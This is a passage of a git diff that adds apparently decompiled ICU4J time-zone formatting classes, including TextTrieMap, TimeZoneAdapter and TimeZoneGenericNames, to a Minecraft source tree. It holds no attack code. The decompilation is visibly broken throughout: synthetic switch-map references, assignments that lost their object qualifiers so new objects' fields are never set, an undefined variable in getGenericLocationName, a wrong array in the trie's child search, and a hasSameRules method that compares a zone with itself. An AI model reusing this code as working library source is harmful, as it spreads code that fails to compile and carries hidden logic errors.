+        return;
+      }
+      
+      if (_children == null) {
+        _children = new LinkedList();
+        TextTrieMap<V>.Node child = new Node(TextTrieMap.this, TextTrieMap.subArray(text, offset), addValue(null, value), null);
+        _children.add(child);
+        return;
+      }
+      
+
+      ListIterator<TextTrieMap<V>.Node> litr = _children.listIterator();
+      while (litr.hasNext()) {
+        TextTrieMap<V>.Node next = (Node)litr.next();
+        if (text[offset] < _text[0]) {
+          litr.previous();
+          break;
+        }
+        if (text[offset] == _text[0]) {
+          int matchLen = next.lenMatches(text, offset);
+          if (matchLen == _text.length)
+          {
+            next.add(text, offset + matchLen, value);
+          }
+          else {
+            next.split(matchLen);
+            next.add(text, offset + matchLen, value);
+          }
+          return;
+        }
+      }
+      
+      litr.add(new Node(TextTrieMap.this, TextTrieMap.subArray(text, offset), addValue(null, value), null));
+    }
+    
+    private boolean matchFollowing(TextTrieMap.CharIterator chitr) {
+      boolean matched = true;
+      int idx = 1;
+      while (idx < _text.length) {
+        if (!chitr.hasNext()) {
+          matched = false;
+          break;
+        }
+        Character ch = chitr.next();
+        if (ch.charValue() != _text[idx]) {
+          matched = false;
+          break;
+        }
+        idx++;
+      }
+      return matched;
+    }
+    
+    private int lenMatches(char[] text, int offset) {
+      int textLen = text.length - offset;
+      int limit = _text.length < textLen ? _text.length : textLen;
+      int len = 0;
+      while ((len < limit) && 
+        (_text[len] == text[(offset + len)]))
+      {
+
+        len++;
+      }
+      return len;
+    }
+    
+    private void split(int offset)
+    {
+      char[] childText = TextTrieMap.subArray(_text, offset);
+      _text = TextTrieMap.subArray(_text, 0, offset);
+      
+
+      TextTrieMap<V>.Node child = new Node(TextTrieMap.this, childText, _values, _children);
+      _values = null;
+      
+      _children = new LinkedList();
+      _children.add(child);
+    }
+    
+    private List<V> addValue(List<V> list, V value) {
+      if (list == null) {
+        list = new LinkedList();
+      }
+      list.add(value);
+      return list;
+    }
+  }
+  
+  private static char[] toCharArray(CharSequence text) {
+    char[] array = new char[text.length()];
+    for (int i = 0; i < array.length; i++) {
+      array[i] = text.charAt(i);
+    }
+    return array;
+  }
+  
+  private static char[] subArray(char[] array, int start) {
+    if (start == 0) {
+      return array;
+    }
+    char[] sub = new char[array.length - start];
+    System.arraycopy(array, start, sub, 0, sub.length);
+    return sub;
+  }
+  
+  private static char[] subArray(char[] array, int start, int limit) {
+    if ((start == 0) && (limit == array.length)) {
+      return array;
+    }
+    char[] sub = new char[limit - start];
+    System.arraycopy(array, start, sub, 0, limit - start);
+    return sub;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TimeZoneAdapter.java b/src/minecraft/com/ibm/icu/impl/TimeZoneAdapter.java
new file mode 100644
index 0000000..0909aeb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TimeZoneAdapter.java
@@ -0,0 +1,147 @@
+package com.ibm.icu.impl;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeZoneAdapter
+  extends java.util.TimeZone
+{
+  static final long serialVersionUID = -2040072218820018557L;
+  private com.ibm.icu.util.TimeZone zone;
+  
+  public static java.util.TimeZone wrap(com.ibm.icu.util.TimeZone tz)
+  {
+    return new TimeZoneAdapter(tz);
+  }
+  
+
+
+  public com.ibm.icu.util.TimeZone unwrap()
+  {
+    return zone;
+  }
+  
+
+
+  public TimeZoneAdapter(com.ibm.icu.util.TimeZone zone)
+  {
+    this.zone = zone;
+    super.setID(zone.getID());
+  }
+  
+
+
+  public void setID(String ID)
+  {
+    super.setID(ID);
+    zone.setID(ID);
+  }
+  
+
+
+  public boolean hasSameRules(java.util.TimeZone other)
+  {
+    return ((other instanceof TimeZoneAdapter)) && (zone.hasSameRules(zone));
+  }
+  
+
+
+
+
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis)
+  {
+    return zone.getOffset(era, year, month, day, dayOfWeek, millis);
+  }
+  
+
+
+  public int getRawOffset()
+  {
+    return zone.getRawOffset();
+  }
+  
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    zone.setRawOffset(offsetMillis);
+  }
+  
+
+
+  public boolean useDaylightTime()
+  {
+    return zone.useDaylightTime();
+  }
+  
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    return zone.inDaylightTime(date);
+  }
+  
+
+
+  public Object clone()
+  {
+    return new TimeZoneAdapter((com.ibm.icu.util.TimeZone)zone.clone());
+  }
+  
+
+
+  public synchronized int hashCode()
+  {
+    return zone.hashCode();
+  }
+  
+
+
+  public boolean equals(Object obj)
+  {
+    if ((obj instanceof TimeZoneAdapter)) {
+      obj = zone;
+    }
+    return zone.equals(obj);
+  }
+  
+
+
+
+  public String toString()
+  {
+    return "TimeZoneAdapter: " + zone.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TimeZoneGenericNames.java b/src/minecraft/com/ibm/icu/impl/TimeZoneGenericNames.java
new file mode 100644
index 0000000..0b7e200
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TimeZoneGenericNames.java
@@ -0,0 +1,935 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.LocaleDisplayNames;
+import com.ibm.icu.text.TimeZoneFormat.TimeType;
+import com.ibm.icu.text.TimeZoneNames;
+import com.ibm.icu.text.TimeZoneNames.MatchInfo;
+import com.ibm.icu.text.TimeZoneNames.NameType;
+import com.ibm.icu.util.BasicTimeZone;
+import com.ibm.icu.util.Freezable;
+import com.ibm.icu.util.Output;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZone.SystemTimeZoneType;
+import com.ibm.icu.util.TimeZoneRule;
+import com.ibm.icu.util.TimeZoneTransition;
+import com.ibm.icu.util.ULocale;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.lang.ref.WeakReference;
+import java.text.MessageFormat;
+import java.util.Collection;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+
+
+
+
+
+
+
+
+
+
+public class TimeZoneGenericNames
+  implements Serializable, Freezable<TimeZoneGenericNames>
+{
+  private static final long serialVersionUID = 2729910342063468417L;
+  private ULocale _locale;
+  private TimeZoneNames _tznames;
+  private transient boolean _frozen;
+  private transient String _region;
+  private transient WeakReference<LocaleDisplayNames> _localeDisplayNamesRef;
+  private transient MessageFormat[] _patternFormatters;
+  private transient ConcurrentHashMap<String, String> _genericLocationNamesMap;
+  private transient ConcurrentHashMap<String, String> _genericPartialLocationNamesMap;
+  private transient TextTrieMap<NameInfo> _gnamesTrie;
+  private transient boolean _gnamesTrieFullyLoaded;
+  
+  public static enum GenericNameType
+  {
+    LOCATION(new String[] { "LONG", "SHORT" }), 
+    LONG(new String[0]), 
+    SHORT(new String[0]);
+    
+    String[] _fallbackTypeOf;
+    
+    private GenericNameType(String... fallbackTypeOf) { _fallbackTypeOf = fallbackTypeOf; }
+    
+    public boolean isFallbackTypeOf(GenericNameType type)
+    {
+      String typeStr = type.toString();
+      for (String t : _fallbackTypeOf) {
+        if (t.equals(typeStr)) {
+          return true;
+        }
+      }
+      return false;
+    }
+  }
+  
+
+
+
+  public static enum Pattern
+  {
+    REGION_FORMAT("regionFormat", "({0})"), 
+    
+
+
+
+
+
+    FALLBACK_FORMAT("fallbackFormat", "{1} ({0})");
+    
+    String _key;
+    String _defaultVal;
+    
+    private Pattern(String key, String defaultVal) {
+      _key = key;
+      _defaultVal = defaultVal;
+    }
+    
+    String key() {
+      return _key;
+    }
+    
+    String defaultValue() {
+      return _defaultVal;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static Cache GENERIC_NAMES_CACHE = new Cache(null);
+  
+
+  private static final long DST_CHECK_RANGE = 15897600000L;
+  
+  private static final TimeZoneNames.NameType[] GENERIC_NON_LOCATION_TYPES = { TimeZoneNames.NameType.LONG_GENERIC, TimeZoneNames.NameType.SHORT_GENERIC };
+  
+
+
+
+
+
+
+
+  public TimeZoneGenericNames(ULocale locale, TimeZoneNames tznames)
+  {
+    _locale = locale;
+    _tznames = tznames;
+    init();
+  }
+  
+
+
+
+  private void init()
+  {
+    if (_tznames == null) {
+      _tznames = TimeZoneNames.getInstance(_locale);
+    }
+    _genericLocationNamesMap = new ConcurrentHashMap();
+    _genericPartialLocationNamesMap = new ConcurrentHashMap();
+    
+    _gnamesTrie = new TextTrieMap(true);
+    _gnamesTrieFullyLoaded = false;
+    
+
+    TimeZone tz = TimeZone.getDefault();
+    String tzCanonicalID = ZoneMeta.getCanonicalCLDRID(tz);
+    if (tzCanonicalID != null) {
+      loadStrings(tzCanonicalID);
+    }
+  }
+  
+
+
+
+
+  private TimeZoneGenericNames(ULocale locale)
+  {
+    this(locale, null);
+  }
+  
+
+
+
+
+
+  public static TimeZoneGenericNames getInstance(ULocale locale)
+  {
+    String key = locale.getBaseName();
+    return (TimeZoneGenericNames)GENERIC_NAMES_CACHE.getInstance(key, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String getDisplayName(TimeZone tz, GenericNameType type, long date)
+  {
+    String name = null;
+    String tzCanonicalID = null;
+    switch (1.$SwitchMap$com$ibm$icu$impl$TimeZoneGenericNames$GenericNameType[type.ordinal()]) {
+    case 1: 
+      tzCanonicalID = ZoneMeta.getCanonicalCLDRID(tz);
+      if (tzCanonicalID != null) {
+        name = getGenericLocationName(tzCanonicalID);
+      }
+      break;
+    case 2: 
+    case 3: 
+      name = formatGenericNonLocationName(tz, type, date);
+      if (name == null) {
+        tzCanonicalID = ZoneMeta.getCanonicalCLDRID(tz);
+        if (tzCanonicalID != null) {
+          name = getGenericLocationName(tzCanonicalID);
+        }
+      }
+      break;
+    }
+    return name;
+  }
+  
+
+
+
+
+
+  public String getGenericLocationName(String canonicalTzID)
+  {
+    if ((canonicalTzID == null) || (canonicalTzID.length() == 0)) {
+      return null;
+    }
+    String name = (String)_genericLocationNamesMap.get(canonicalTzID);
+    if (name != null) {
+      if (name.length() == 0)
+      {
+        return null;
+      }
+      return name;
+    }
+    
+    Output<Boolean> isPrimary = new Output();
+    String countryCode = ZoneMeta.getCanonicalCountry(canonicalTzID, isPrimary);
+    if (countryCode != null) {
+      if (((Boolean)value).booleanValue())
+      {
+        String country = getLocaleDisplayNames().regionDisplayName(countryCode);
+        name = formatPattern(Pattern.REGION_FORMAT, new String[] { country });
+
+
+      }
+      else
+      {
+
+        String city = _tznames.getExemplarLocationName(canonicalTzID);
+        name = formatPattern(Pattern.REGION_FORMAT, new String[] { city });
+      }
+    }
+    
+    if (name == null) {
+      _genericLocationNamesMap.putIfAbsent(canonicalTzID.intern(), "");
+    } else {
+      synchronized (this) {
+        canonicalTzID = canonicalTzID.intern();
+        String tmp = (String)_genericLocationNamesMap.putIfAbsent(canonicalTzID, name.intern());
+        if (tmp == null)
+        {
+          NameInfo info = new NameInfo(null);
+          tzID = canonicalTzID;
+          type = GenericNameType.LOCATION;
+          _gnamesTrie.put(name, info);
+        } else {
+          name = tmp;
+        }
+      }
+    }
+    return name;
+  }
+  
+
+
+
+
+
+
+  public TimeZoneGenericNames setFormatPattern(Pattern patType, String patStr)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    
+
+    if (!_genericLocationNamesMap.isEmpty()) {
+      _genericLocationNamesMap = new ConcurrentHashMap();
+    }
+    if (!_genericPartialLocationNamesMap.isEmpty()) {
+      _genericPartialLocationNamesMap = new ConcurrentHashMap();
+    }
+    _gnamesTrie = null;
+    _gnamesTrieFullyLoaded = false;
+    
+    if (_patternFormatters == null) {
+      _patternFormatters = new MessageFormat[Pattern.values().length];
+    }
+    _patternFormatters[patType.ordinal()] = new MessageFormat(patStr);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String formatGenericNonLocationName(TimeZone tz, GenericNameType type, long date)
+  {
+    assert ((type == GenericNameType.LONG) || (type == GenericNameType.SHORT));
+    String tzID = ZoneMeta.getCanonicalCLDRID(tz);
+    
+    if (tzID == null) {
+      return null;
+    }
+    
+
+    TimeZoneNames.NameType nameType = type == GenericNameType.LONG ? TimeZoneNames.NameType.LONG_GENERIC : TimeZoneNames.NameType.SHORT_GENERIC;
+    String name = _tznames.getTimeZoneDisplayName(tzID, nameType);
+    
+    if (name != null) {
+      return name;
+    }
+    
+
+    String mzID = _tznames.getMetaZoneID(tzID, date);
+    if (mzID != null) {
+      boolean useStandard = false;
+      int[] offsets = { 0, 0 };
+      tz.getOffset(date, false, offsets);
+      
+      if (offsets[1] == 0) {
+        useStandard = true;
+        
+        if ((tz instanceof BasicTimeZone)) {
+          BasicTimeZone btz = (BasicTimeZone)tz;
+          TimeZoneTransition before = btz.getPreviousTransition(date, true);
+          if ((before != null) && (date - before.getTime() < 15897600000L) && (before.getFrom().getDSTSavings() != 0))
+          {
+
+            useStandard = false;
+          } else {
+            TimeZoneTransition after = btz.getNextTransition(date, false);
+            if ((after != null) && (after.getTime() - date < 15897600000L) && (after.getTo().getDSTSavings() != 0))
+            {
+
+              useStandard = false;
+            }
+          }
+        }
+        else
+        {
+          int[] tmpOffsets = new int[2];
+          tz.getOffset(date - 15897600000L, false, tmpOffsets);
+          if (tmpOffsets[1] != 0) {
+            useStandard = false;
+          } else {
+            tz.getOffset(date + 15897600000L, false, tmpOffsets);
+            if (tmpOffsets[1] != 0) {
+              useStandard = false;
+            }
+          }
+        }
+      }
+      if (useStandard) {
+        TimeZoneNames.NameType stdNameType = nameType == TimeZoneNames.NameType.LONG_GENERIC ? TimeZoneNames.NameType.LONG_STANDARD : TimeZoneNames.NameType.SHORT_STANDARD;
+        
+        String stdName = _tznames.getDisplayName(tzID, stdNameType, date);
+        if (stdName != null) {
+          name = stdName;
+          
+
+
+
+
+
+          String mzGenericName = _tznames.getMetaZoneDisplayName(mzID, nameType);
+          if (stdName.equalsIgnoreCase(mzGenericName)) {
+            name = null;
+          }
+        }
+      }
+      
+      if (name == null)
+      {
+        String mzName = _tznames.getMetaZoneDisplayName(mzID, nameType);
+        if (mzName != null)
+        {
+
+
+          String goldenID = _tznames.getReferenceZoneID(mzID, getTargetRegion());
+          if ((goldenID != null) && (!goldenID.equals(tzID))) {
+            TimeZone goldenZone = TimeZone.getFrozenTimeZone(goldenID);
+            int[] offsets1 = { 0, 0 };
+            
+
+
+
+
+            goldenZone.getOffset(date + offsets[0] + offsets[1], true, offsets1);
+            
+            if ((offsets[0] != offsets1[0]) || (offsets[1] != offsets1[1]))
+            {
+              name = getPartialLocationName(tzID, mzID, nameType == TimeZoneNames.NameType.LONG_GENERIC, mzName);
+            } else {
+              name = mzName;
+            }
+          } else {
+            name = mzName;
+          }
+        }
+      }
+    }
+    return name;
+  }
+  
+
+
+
+
+
+
+
+
+  private synchronized String formatPattern(Pattern pat, String... args)
+  {
+    if (_patternFormatters == null) {
+      _patternFormatters = new MessageFormat[Pattern.values().length];
+    }
+    
+    int idx = pat.ordinal();
+    if (_patternFormatters[idx] == null) {
+      String patText;
+      try {
+        ICUResourceBundle bundle = (ICUResourceBundle)ICUResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/zone", _locale);
+        
+        patText = bundle.getStringWithFallback("zoneStrings/" + pat.key());
+      } catch (MissingResourceException e) {
+        patText = pat.defaultValue();
+      }
+      
+      _patternFormatters[idx] = new MessageFormat(patText);
+    }
+    return _patternFormatters[idx].format(args);
+  }
+  
+
+
+
+
+
+
+
+  private synchronized LocaleDisplayNames getLocaleDisplayNames()
+  {
+    LocaleDisplayNames locNames = null;
+    if (_localeDisplayNamesRef != null) {
+      locNames = (LocaleDisplayNames)_localeDisplayNamesRef.get();
+    }
+    if (locNames == null) {
+      locNames = LocaleDisplayNames.getInstance(_locale);
+      _localeDisplayNamesRef = new WeakReference(locNames);
+    }
+    return locNames;
+  }
+  
+  private synchronized void loadStrings(String tzCanonicalID) {
+    if ((tzCanonicalID == null) || (tzCanonicalID.length() == 0)) {
+      return;
+    }
+    
+    getGenericLocationName(tzCanonicalID);
+    
+
+    Set<String> mzIDs = _tznames.getAvailableMetaZoneIDs(tzCanonicalID);
+    for (String mzID : mzIDs)
+    {
+
+
+      String goldenID = _tznames.getReferenceZoneID(mzID, getTargetRegion());
+      if (!tzCanonicalID.equals(goldenID)) {
+        for (TimeZoneNames.NameType genNonLocType : GENERIC_NON_LOCATION_TYPES) {
+          String mzGenName = _tznames.getMetaZoneDisplayName(mzID, genNonLocType);
+          if (mzGenName != null)
+          {
+            getPartialLocationName(tzCanonicalID, mzID, genNonLocType == TimeZoneNames.NameType.LONG_GENERIC, mzGenName);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  private synchronized String getTargetRegion()
+  {
+    if (_region == null) {
+      _region = _locale.getCountry();
+      if (_region.length() == 0) {
+        ULocale tmp = ULocale.addLikelySubtags(_locale);
+        _region = tmp.getCountry();
+        if (_region.length() == 0) {
+          _region = "001";
+        }
+      }
+    }
+    return _region;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private String getPartialLocationName(String tzID, String mzID, boolean isLong, String mzDisplayName)
+  {
+    String letter = isLong ? "L" : "S";
+    String key = tzID + "&" + mzID + "#" + letter;
+    String name = (String)_genericPartialLocationNamesMap.get(key);
+    if (name != null) {
+      return name;
+    }
+    String location = null;
+    String countryCode = ZoneMeta.getCanonicalCountry(tzID);
+    if (countryCode != null)
+    {
+      String regionalGolden = _tznames.getReferenceZoneID(mzID, countryCode);
+      if (tzID.equals(regionalGolden))
+      {
+        location = getLocaleDisplayNames().regionDisplayName(countryCode);
+      }
+      else {
+        location = _tznames.getExemplarLocationName(tzID);
+      }
+    } else {
+      location = _tznames.getExemplarLocationName(tzID);
+      if (location == null)
+      {
+
+
+        location = tzID;
+      }
+    }
+    name = formatPattern(Pattern.FALLBACK_FORMAT, new String[] { location, mzDisplayName });
+    synchronized (this) {
+      String tmp = (String)_genericPartialLocationNamesMap.putIfAbsent(key.intern(), name.intern());
+      if (tmp == null) {
+        NameInfo info = new NameInfo(null);
+        tzID = tzID.intern();
+        type = (isLong ? GenericNameType.LONG : GenericNameType.SHORT);
+        _gnamesTrie.put(name, info);
+      } else {
+        name = tmp;
+      }
+    }
+    return name;
+  }
+  
+  private static class NameInfo
+  {
+    String tzID;
+    TimeZoneGenericNames.GenericNameType type;
+    
+    private NameInfo() {}
+  }
+  
+  public static class GenericMatchInfo
+  {
+    TimeZoneGenericNames.GenericNameType nameType;
+    String tzID;
+    int matchLength;
+    
+    public GenericMatchInfo() {}
+    
+    TimeZoneFormat.TimeType timeType = TimeZoneFormat.TimeType.UNKNOWN;
+    
+    public TimeZoneGenericNames.GenericNameType nameType() {
+      return nameType;
+    }
+    
+    public String tzID() {
+      return tzID;
+    }
+    
+    public TimeZoneFormat.TimeType timeType() {
+      return timeType;
+    }
+    
+    public int matchLength() {
+      return matchLength;
+    }
+  }
+  
+
+  private static class GenericNameSearchHandler
+    implements TextTrieMap.ResultHandler<TimeZoneGenericNames.NameInfo>
+  {
+    private EnumSet<TimeZoneGenericNames.GenericNameType> _types;
+    private Collection<TimeZoneGenericNames.GenericMatchInfo> _matches;
+    private int _maxMatchLen;
+    
+    GenericNameSearchHandler(EnumSet<TimeZoneGenericNames.GenericNameType> types)
+    {
+      _types = types;
+    }
+    
+
+
+    public boolean handlePrefixMatch(int matchLength, Iterator<TimeZoneGenericNames.NameInfo> values)
+    {
+      while (values.hasNext()) {
+        TimeZoneGenericNames.NameInfo info = (TimeZoneGenericNames.NameInfo)values.next();
+        if ((_types == null) || (_types.contains(type)))
+        {
+
+          TimeZoneGenericNames.GenericMatchInfo matchInfo = new TimeZoneGenericNames.GenericMatchInfo();
+          tzID = tzID;
+          nameType = type;
+          matchLength = matchLength;
+          
+          if (_matches == null) {
+            _matches = new LinkedList();
+          }
+          _matches.add(matchInfo);
+          if (matchLength > _maxMatchLen)
+            _maxMatchLen = matchLength;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+    public Collection<TimeZoneGenericNames.GenericMatchInfo> getMatches()
+    {
+      return _matches;
+    }
+    
+
+
+
+    public int getMaxMatchLen()
+    {
+      return _maxMatchLen;
+    }
+    
+
+
+    public void resetResults()
+    {
+      _matches = null;
+      _maxMatchLen = 0;
+    }
+  }
+  
+
+
+
+
+
+
+
+  public GenericMatchInfo findBestMatch(String text, int start, EnumSet<GenericNameType> genericTypes)
+  {
+    if ((text == null) || (text.length() == 0) || (start < 0) || (start >= text.length())) {
+      throw new IllegalArgumentException("bad input text or range");
+    }
+    GenericMatchInfo bestMatch = null;
+    
+
+    Collection<TimeZoneNames.MatchInfo> tznamesMatches = findTimeZoneNames(text, start, genericTypes);
+    if (tznamesMatches != null) {
+      TimeZoneNames.MatchInfo longestMatch = null;
+      for (TimeZoneNames.MatchInfo match : tznamesMatches) {
+        if ((longestMatch == null) || (match.matchLength() > longestMatch.matchLength())) {
+          longestMatch = match;
+        }
+      }
+      if (longestMatch != null) {
+        bestMatch = createGenericMatchInfo(longestMatch);
+        if (bestMatch.matchLength() == text.length() - start)
+        {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          if (timeType != TimeZoneFormat.TimeType.STANDARD) {
+            return bestMatch;
+          }
+        }
+      }
+    }
+    
+
+    Collection<GenericMatchInfo> localMatches = findLocal(text, start, genericTypes);
+    if (localMatches != null) {
+      for (GenericMatchInfo match : localMatches)
+      {
+
+
+        if ((bestMatch == null) || (match.matchLength() >= bestMatch.matchLength())) {
+          bestMatch = match;
+        }
+      }
+    }
+    
+    return bestMatch;
+  }
+  
+
+
+
+
+
+
+
+  public Collection<GenericMatchInfo> find(String text, int start, EnumSet<GenericNameType> genericTypes)
+  {
+    if ((text == null) || (text.length() == 0) || (start < 0) || (start >= text.length())) {
+      throw new IllegalArgumentException("bad input text or range");
+    }
+    
+    Collection<GenericMatchInfo> results = findLocal(text, start, genericTypes);
+    
+
+    Collection<TimeZoneNames.MatchInfo> tznamesMatches = findTimeZoneNames(text, start, genericTypes);
+    if (tznamesMatches != null)
+    {
+      for (TimeZoneNames.MatchInfo match : tznamesMatches) {
+        if (results == null) {
+          results = new LinkedList();
+        }
+        results.add(createGenericMatchInfo(match));
+      }
+    }
+    return results;
+  }
+  
+
+
+
+
+  private GenericMatchInfo createGenericMatchInfo(TimeZoneNames.MatchInfo matchInfo)
+  {
+    GenericNameType nameType = null;
+    TimeZoneFormat.TimeType timeType = TimeZoneFormat.TimeType.UNKNOWN;
+    switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneNames$NameType[matchInfo.nameType().ordinal()]) {
+    case 1: 
+      nameType = GenericNameType.LONG;
+      timeType = TimeZoneFormat.TimeType.STANDARD;
+      break;
+    case 2: 
+      nameType = GenericNameType.LONG;
+      break;
+    case 3: 
+      nameType = GenericNameType.SHORT;
+      timeType = TimeZoneFormat.TimeType.STANDARD;
+      break;
+    case 4: 
+      nameType = GenericNameType.SHORT;
+    }
+    
+    assert (nameType != null);
+    
+    String tzID = matchInfo.tzID();
+    if (tzID == null) {
+      String mzID = matchInfo.mzID();
+      assert (mzID != null);
+      tzID = _tznames.getReferenceZoneID(mzID, getTargetRegion());
+    }
+    assert (tzID != null);
+    
+    GenericMatchInfo gmatch = new GenericMatchInfo();
+    nameType = nameType;
+    tzID = tzID;
+    matchLength = matchInfo.matchLength();
+    timeType = timeType;
+    
+    return gmatch;
+  }
+  
+
+
+
+
+
+
+
+
+  private Collection<TimeZoneNames.MatchInfo> findTimeZoneNames(String text, int start, EnumSet<GenericNameType> types)
+  {
+    Collection<TimeZoneNames.MatchInfo> tznamesMatches = null;
+    
+
+    EnumSet<TimeZoneNames.NameType> nameTypes = EnumSet.noneOf(TimeZoneNames.NameType.class);
+    if (types.contains(GenericNameType.LONG)) {
+      nameTypes.add(TimeZoneNames.NameType.LONG_GENERIC);
+      nameTypes.add(TimeZoneNames.NameType.LONG_STANDARD);
+    }
+    if (types.contains(GenericNameType.SHORT)) {
+      nameTypes.add(TimeZoneNames.NameType.SHORT_GENERIC);
+      nameTypes.add(TimeZoneNames.NameType.SHORT_STANDARD);
+    }
+    
+    if (!nameTypes.isEmpty())
+    {
+      tznamesMatches = _tznames.find(text, start, nameTypes);
+    }
+    return tznamesMatches;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private synchronized Collection<GenericMatchInfo> findLocal(String text, int start, EnumSet<GenericNameType> types)
+  {
+    GenericNameSearchHandler handler = new GenericNameSearchHandler(types);
+    _gnamesTrie.find(text, start, handler);
+    if ((handler.getMaxMatchLen() == text.length() - start) || (_gnamesTrieFullyLoaded))
+    {
+      return handler.getMatches();
+    }
+    
+
+
+
+    Set<String> tzIDs = TimeZone.getAvailableIDs(TimeZone.SystemTimeZoneType.CANONICAL, null, null);
+    for (String tzID : tzIDs) {
+      loadStrings(tzID);
+    }
+    _gnamesTrieFullyLoaded = true;
+    
+
+    handler.resetResults();
+    _gnamesTrie.find(text, start, handler);
+    return handler.getMatches();
+  }
+  
+
+
+  private static class Cache
+    extends SoftCache<String, TimeZoneGenericNames, ULocale>
+  {
+    private Cache() {}
+    
+
+    protected TimeZoneGenericNames createInstance(String key, ULocale data)
+    {
+      return new TimeZoneGenericNames(data, null).freeze();
+    }
+  }
+  
+
+
+
+  private void readObject(ObjectInputStream in)
+    throws IOException, ClassNotFoundException
+  {
+    in.defaultReadObject();
+    init();
+  }
+  
+
+
+  public boolean isFrozen()
+  {
+    return _frozen;
+  }
+  
+
+
+  public TimeZoneGenericNames freeze()
+  {
+    _frozen = true;
+    return this;
+  }
+  
+
+
+  public TimeZoneGenericNames cloneAsThawed()
+  {
+    TimeZoneGenericNames copy = null;
+    try {
+      copy = (TimeZoneGenericNames)super.clone();
+      _frozen = false;
+    }
+    catch (Throwable t) {}
+    
+    return copy;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TimeZoneNamesFactoryImpl.java b/src/minecraft/com/ibm/icu/impl/TimeZoneNamesFactoryImpl.java
new file mode 100644
index 0000000..beabd3b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TimeZoneNamesFactoryImpl.java
@@ -0,0 +1,25 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.TimeZoneNames;
+import com.ibm.icu.text.TimeZoneNames.Factory;
+import com.ibm.icu.util.ULocale;
+
+
+
+
+
+
+
+
+
+
+public class TimeZoneNamesFactoryImpl
+  extends TimeZoneNames.Factory
+{
+  public TimeZoneNamesFactoryImpl() {}
+  
+  public TimeZoneNames getTimeZoneNames(ULocale locale)
+  {
+    return new TimeZoneNamesImpl(locale);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TimeZoneNamesImpl.java b/src/minecraft/com/ibm/icu/impl/TimeZoneNamesImpl.java
new file mode 100644
index 0000000..2bfa44c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TimeZoneNamesImpl.java
@@ -0,0 +1,715 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.TimeZoneNames;
+import com.ibm.icu.text.TimeZoneNames.MatchInfo;
+import com.ibm.icu.text.TimeZoneNames.NameType;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.TimeZone.SystemTimeZoneType;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+public class TimeZoneNamesImpl
+  extends TimeZoneNames
+{
+  private static final long serialVersionUID = -2179814848495897472L;
+  private static final String ZONE_STRINGS_BUNDLE = "zoneStrings";
+  private static final String MZ_PREFIX = "meta:";
+  private static Set<String> METAZONE_IDS;
+  private static final TZ2MZsCache TZ_TO_MZS_CACHE = new TZ2MZsCache(null);
+  private static final MZ2TZsCache MZ_TO_TZS_CACHE = new MZ2TZsCache(null);
+  
+  private transient ICUResourceBundle _zoneStrings;
+  
+  private transient ConcurrentHashMap<String, ZNames> _mzNamesMap;
+  
+  private transient ConcurrentHashMap<String, TZNames> _tzNamesMap;
+  
+  private transient TextTrieMap<NameInfo> _namesTrie;
+  
+  private transient boolean _namesTrieFullyLoaded;
+  
+
+  public TimeZoneNamesImpl(ULocale locale)
+  {
+    initialize(locale);
+  }
+  
+
+
+
+  public synchronized Set<String> getAvailableMetaZoneIDs()
+  {
+    if (METAZONE_IDS == null) {
+      UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "metaZones");
+      UResourceBundle mapTimezones = bundle.get("mapTimezones");
+      Set<String> keys = mapTimezones.keySet();
+      METAZONE_IDS = Collections.unmodifiableSet(keys);
+    }
+    return METAZONE_IDS;
+  }
+  
+
+
+
+  public Set<String> getAvailableMetaZoneIDs(String tzID)
+  {
+    if ((tzID == null) || (tzID.length() == 0)) {
+      return Collections.emptySet();
+    }
+    List<MZMapEntry> maps = (List)TZ_TO_MZS_CACHE.getInstance(tzID, tzID);
+    if (maps.isEmpty()) {
+      return Collections.emptySet();
+    }
+    Set<String> mzIDs = new HashSet(maps.size());
+    for (MZMapEntry map : maps) {
+      mzIDs.add(map.mzID());
+    }
+    
